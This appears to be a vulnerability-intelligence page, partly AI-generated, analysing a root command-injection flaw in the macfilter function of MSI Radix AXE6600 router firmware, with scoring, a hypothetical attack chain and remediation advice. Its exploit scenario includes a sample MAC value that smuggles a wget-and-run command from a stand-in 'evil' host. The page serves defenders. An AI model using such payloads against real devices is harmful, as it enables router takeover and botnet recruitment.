Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessReach router management interface
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DeliverySubmit crafted macfilter MAC value
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ExploitInject shell metacharacters into command
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ExecutionRouter executes commands as root
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ImpactInstall implant or join botnet
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The specific prerequisite is network reachability of the router's management interface exposing the macfilter function on MSI Radix AXE6600 firmware v781521; the attacker crafts input to the macfilter (MAC access-control) feature to inject OS commands. Per the CVSS vector (PR:N/UI:N/AC:L/AT:N), no authentication, no user interaction, and no special attack requirements are needed once the interface is reachable. The primary limiting factor is exposure of that interface: if administration is confined to the LAN and WAN management is disabled, a remote internet-based attacker cannot reach the endpoint, reducing realistic exploitation to on-network adversaries. Exploitation is also constrained to the named firmware version v781521. |
| Impact | This is a genuine high-priority issue rather than a paper-tiger high score. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H) describes remote, unauthenticated, low-complexity exploitation yielding complete device takeover - the strongest possible combination of exploitability and impact. No EPSS score, KEV listing, or public POC is present in the supplied data, so there is no evidence of active exploitation yet; the risk is currently potential rather than proven. However, command-injection flaws in consumer router web interfaces are historically easy to reverse from a patch and are attractive for botnet recruitment, so the window between disclosure and exploitation tends to be short, and any operator running these devices should treat patching as urgent. The main uncertainty is exposure: the real-world blast radius depends heavily on whether the vulnerable management interface is reachable from the WAN or only the LAN, which the description does not specify - defenders should verify their own exposure rather than assume the CVSS network vector means internet-facing by default. |
| Exploit ScenarioDerived | An attacker who can reach the router's web management interface submits a MAC-filter entry containing shell metacharacters (e.g., a value like '00:11:22:33:44:55; wget http://evil/x -O /tmp/x; sh /tmp/x'); the macfilter handler passes this into a system shell, executing the attacker's commands as root. The attacker then installs a persistent implant or enrolls the device into a botnet. Given AV:N/AC:L/PR:N/UI:N, no authentication or user interaction is required, though exploitation depends on network reachability of the management interface. |
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Alert meAnalysisAIv1 – Aug 09, 2026
OS command injection in the MSI Radix AXE6600 Wi-Fi 6E gaming router (firmware v781521) lets remote attackers inject shell commands through the router's macfilter function and gain root on the device. The flaw was reported by VulnCheck and carries a CVSS 4.0 base score of 9.3, reflecting network-reachable, no-privilege, no-interaction exploitation with full compromise of confidentiality, integrity, and availability. No public exploit is identified at time of analysis, though the low-complexity, unauthenticated nature makes weaponization straightforward.
RemediationAI
Patch available per vendor advisory: apply the fixed firmware from the MSI Radix AXE6600 support page at https://us.msi.com/Networking/RadiX-AXE6600-WiFi-6E-Tri-Band-Gaming-Router/support (an exact patched firmware version was not provided in the input and should be confirmed on that page); the VulnCheck advisory at https://www.vulncheck.com/advisories/msi-radix-axe6600-v781521-command-injection-via-macfilter provides technical detail. Until firmware is updated, restrict access to the router's administrative interface: disable any remote/WAN management so the web UI is not reachable from the internet (trade-off: loss of off-LAN administration), and place the management interface behind a firewall/ACL that limits it to a trusted management host or VLAN (trade-off: added operational overhead). Avoid using the MAC filter feature and change default administrative credentials to reduce the chance a remote attacker reaches the vulnerable macfilter endpoint, and monitor the device for unexpected outbound connections that could indicate botnet enrollment.
Affected VersionsENISA
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Technical ContextAI · show details
The vulnerability is a classic CWE-78 OS command injection in an embedded consumer/SOHO router. The macfilter feature is the MAC-address access-control list of the router's web/management interface; user-supplied MAC values (or associated parameters) are passed into an underlying shell command without adequate sanitization, so metacharacters such as ';', '|', '`', or '$()' break out of the intended command and are executed by the device's Linux shell. Because router firmware management daemons typically run as root, injected commands execute with root privileges. The CPE cpe:2.3:a:msi:radix_axe6600:*:*:*:*:*:*:*:* identifies the affected product, with firmware v781521 named in the description.
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Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Unauthenticated network-reachable command injection (PR:N/UI:N/AC:L) yielding root code execution gives full C/I/A impact; scope unchanged as the OS is the vulnerable component.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
MSI Radix AXE6600 router firmware version v781521 contains a command injection vulnerability in the macfilter function that allows remote attackers to execute arbitrary commands on the affected device. Attackers can exploit the macfilter function to inject malicious commands and obtain root privileges on the underlying system.
Executive ViewAI
The MSI Radix AXE6600 Wi-Fi 6E router contains a critical remote command injection vulnerability enabling unauthenticated attackers to seize complete control of the network edge device without user interaction. Organizations relying on this router model face immediate risk of network infrastructure compromise, enabling attackers to intercept all network traffic and potentially pivot to connected systems.
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Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
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EUVD-2026-54835
GHSA-qj2h-vw2g-6rh7
NVD
CVE.org
EPSS
VulDB
Exploit-DB